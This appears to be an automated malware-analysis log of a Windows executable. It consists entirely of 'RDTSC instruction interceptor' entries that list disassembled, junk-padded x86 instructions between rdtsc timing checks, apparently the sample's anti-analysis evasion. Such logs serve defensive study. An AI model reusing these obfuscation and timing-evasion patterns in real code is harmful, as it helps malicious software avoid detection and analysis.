Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0540 second address: 4EE0578 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007F6BBC84054Eh 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 movsx ebx, si 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0578 second address: 4EE0605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6BBC80E227h 0x00000011 adc cx, A32Eh 0x00000016 jmp 00007F6BBC80E229h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F6BBC80E220h 0x00000022 xor ax, B8A8h 0x00000027 jmp 00007F6BBC80E21Bh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F6BBC80E225h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0605 second address: 4EE0615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC84054Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0615 second address: 4EE068A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-04h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6BBC80E224h 0x00000015 or ax, E098h 0x0000001a jmp 00007F6BBC80E21Bh 0x0000001f popfd 0x00000020 call 00007F6BBC80E228h 0x00000025 mov si, EBD1h 0x00000029 pop eax 0x0000002a popad 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F6BBC80E229h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE068A second address: 4EE06A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE06A7 second address: 4EE06AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE07DA second address: 4EE07E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE07E0 second address: 4EE07E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE07E4 second address: 4EE07FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, E3h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE07FE second address: 4ED0057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007F6BBC80E217h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007F6BC0977653h 0x00000032 mov edi, edi 0x00000034 jmp 00007F6BBC80E225h 0x00000039 xchg eax, ebp 0x0000003a pushad 0x0000003b movzx eax, dx 0x0000003e mov dx, FFBCh 0x00000042 popad 0x00000043 push eax 0x00000044 pushad 0x00000045 mov dx, ax 0x00000048 call 00007F6BBC80E21Ch 0x0000004d call 00007F6BBC80E222h 0x00000052 pop ecx 0x00000053 pop edi 0x00000054 popad 0x00000055 xchg eax, ebp 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F6BBC80E21Dh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0057 second address: 4ED0077 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d mov dl, E9h 0x0000000f mov edx, esi 0x00000011 popad 0x00000012 push FFFFFFFEh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov dx, 5D0Ah 0x0000001b mov di, 3FD6h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0077 second address: 4ED0090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 504834DCh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 29D082F2h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ax, bx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0090 second address: 4ED0122 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 jmp 00007F6BBC84054Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 5C7E1CBAh 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F6BBC84054Eh 0x0000001b jmp 00007F6BBC840555h 0x00000020 popfd 0x00000021 mov eax, 4D6F8B07h 0x00000026 popad 0x00000027 push FCFCD913h 0x0000002c pushad 0x0000002d mov dl, al 0x0000002f popad 0x00000030 add dword ptr [esp], 78AC525Dh 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F6BBC840558h 0x0000003e sbb ecx, 768B0D18h 0x00000044 jmp 00007F6BBC84054Bh 0x00000049 popfd 0x0000004a popad 0x0000004b mov eax, dword ptr fs:[00000000h] 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0122 second address: 4ED0126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0126 second address: 4ED012A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED012A second address: 4ED0130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0130 second address: 4ED0135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0135 second address: 4ED0145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, B9D5h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0145 second address: 4ED01EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6BBC84054Ah 0x0000000a adc cx, 2EA8h 0x0000000f jmp 00007F6BBC84054Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov ebx, eax 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F6BBC840555h 0x0000001f nop 0x00000020 pushad 0x00000021 call 00007F6BBC84054Ch 0x00000026 jmp 00007F6BBC840552h 0x0000002b pop ecx 0x0000002c pushfd 0x0000002d jmp 00007F6BBC84054Bh 0x00000032 add esi, 34E239FEh 0x00000038 jmp 00007F6BBC840559h 0x0000003d popfd 0x0000003e popad 0x0000003f sub esp, 18h 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F6BBC840558h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01EC second address: 4ED01F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01F0 second address: 4ED01F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED01F6 second address: 4ED0226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E21Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dl, BDh 0x0000000f call 00007F6BBC80E226h 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0226 second address: 4ED022C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED022C second address: 4ED024B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6BBC80E224h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED024B second address: 4ED0272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BBC840555h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0272 second address: 4ED02A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC80E221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F6BBC80E223h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02A1 second address: 4ED02A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02A6 second address: 4ED02B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E21Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02B5 second address: 4ED02B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02B9 second address: 4ED0303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, 2BD81B11h 0x0000000f push ecx 0x00000010 pushfd 0x00000011 jmp 00007F6BBC80E21Dh 0x00000016 add ch, 00000026h 0x00000019 jmp 00007F6BBC80E221h 0x0000001e popfd 0x0000001f pop eax 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 call 00007F6BBC80E21Dh 0x00000028 pop edx 0x00000029 push eax 0x0000002a push edx 0x0000002b mov di, cx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0303 second address: 4ED033B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6BBC840556h 0x00000008 jmp 00007F6BBC840555h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED033B second address: 4ED0344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 639Ch 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0344 second address: 4ED034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED034A second address: 4ED034E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED034E second address: 4ED039C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6BBC840559h 0x00000010 xor eax, 797A9CA6h 0x00000016 jmp 00007F6BBC840551h 0x0000001b popfd 0x0000001c call 00007F6BBC840550h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED039C second address: 4ED03F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 xchg eax, edi 0x00000007 jmp 00007F6BBC80E227h 0x0000000c mov eax, dword ptr [75AF4538h] 0x00000011 jmp 00007F6BBC80E226h 0x00000016 xor dword ptr [ebp-08h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F6BBC80E227h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED03F1 second address: 4ED0417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dl, 02h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6BBC840558h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0417 second address: 4ED0429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E21Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0429 second address: 4ED0460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, cx 0x00000012 pushfd 0x00000013 jmp 00007F6BBC84054Ch 0x00000018 sbb ax, BE28h 0x0000001d jmp 00007F6BBC84054Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0460 second address: 4ED04B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BBC80E21Fh 0x00000009 add ax, 7F6Eh 0x0000000e jmp 00007F6BBC80E229h 0x00000013 popfd 0x00000014 call 00007F6BBC80E220h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 mov dx, 857Eh 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED04B1 second address: 4ED04B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED04B7 second address: 4ED04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0346 second address: 4EC0394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6BBC840554h 0x00000011 sbb cl, FFFFFFB8h 0x00000014 jmp 00007F6BBC84054Bh 0x00000019 popfd 0x0000001a mov esi, 15AA55EFh 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 movsx edx, ax 0x00000025 call 00007F6BBC84054Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0394 second address: 4EC03BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 jmp 00007F6BBC80E227h 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03BA second address: 4EC03C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03C0 second address: 4EC0403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov ecx, edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e jmp 00007F6BBC80E227h 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F6BBC80E226h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0403 second address: 4EC0407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0407 second address: 4EC040D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC040D second address: 4EC0413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0413 second address: 4EC0417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0417 second address: 4EC041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC04EC second address: 4EC04F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC04F2 second address: 4EC04F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC04F8 second address: 4EC0548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d pushad 0x0000000e mov si, 8E43h 0x00000012 pushfd 0x00000013 jmp 00007F6BBC80E228h 0x00000018 sbb al, 00000008h 0x0000001b jmp 00007F6BBC80E21Bh 0x00000020 popfd 0x00000021 popad 0x00000022 inc ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007F6BBC80E21Bh 0x0000002b mov esi, 5148CC6Fh 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0548 second address: 4EC057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840555h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6BBC840554h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC057E second address: 4EC05C3 instructions: 0x00000000 rdtsc 0x00000002 mov dh, ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F6BBC80E3D6h 0x0000000d pushad 0x0000000e push ebx 0x0000000f mov di, si 0x00000012 pop esi 0x00000013 jmp 00007F6BBC80E21Bh 0x00000018 popad 0x00000019 lea ecx, dword ptr [ebp-14h] 0x0000001c jmp 00007F6BBC80E226h 0x00000021 mov dword ptr [ebp-14h], edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov bl, 64h 0x00000029 mov si, 9115h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC05C3 second address: 4EC05C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC05D9 second address: 4EC0612 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6BBC80E220h 0x00000008 sub cl, 00000018h 0x0000000b jmp 00007F6BBC80E21Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 push ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6BBC80E221h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC06A2 second address: 4EC0722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 js 00007F6BBC8405E3h 0x0000000c jmp 00007F6BBC84054Eh 0x00000011 cmp dword ptr [ebp-14h], edi 0x00000014 jmp 00007F6BBC840550h 0x00000019 jne 00007F6C2D41E312h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F6BBC84054Dh 0x00000028 and ecx, 68C79546h 0x0000002e jmp 00007F6BBC840551h 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007F6BBC840550h 0x0000003a or eax, 254AC1E8h 0x00000040 jmp 00007F6BBC84054Bh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0722 second address: 4EC073A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E224h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC073A second address: 4EC078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC84054Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov di, 6EB6h 0x00000015 pushfd 0x00000016 jmp 00007F6BBC840557h 0x0000001b or eax, 3724C73Eh 0x00000021 jmp 00007F6BBC840559h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC078E second address: 4EC07BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2EEA1D52h 0x00000008 mov bh, BCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d lea eax, dword ptr [ebp-2Ch] 0x00000010 pushad 0x00000011 mov eax, 00058377h 0x00000016 mov cl, E0h 0x00000018 popad 0x00000019 push esp 0x0000001a pushad 0x0000001b movzx esi, di 0x0000001e mov bx, ACB2h 0x00000022 popad 0x00000023 mov dword ptr [esp], esi 0x00000026 pushad 0x00000027 mov eax, edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07BA second address: 4EC07EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, A6h 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 jmp 00007F6BBC840556h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6BBC84054Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC002E second address: 4EC0034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0034 second address: 4EC0088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6BBC84054Ch 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F6BBC84054Bh 0x0000000f or ch, 0000003Eh 0x00000012 jmp 00007F6BBC840559h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6BBC840553h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0088 second address: 4EC008C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC008C second address: 4EC0092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0092 second address: 4EC00A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BBC80E21Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00A1 second address: 4EC00E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6BBC84054Bh 0x00000010 add ah, FFFFFFAEh 0x00000013 jmp 00007F6BBC840559h 0x00000018 popfd 0x00000019 mov si, 6537h 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 movzx esi, di 0x00000026 rdtsc
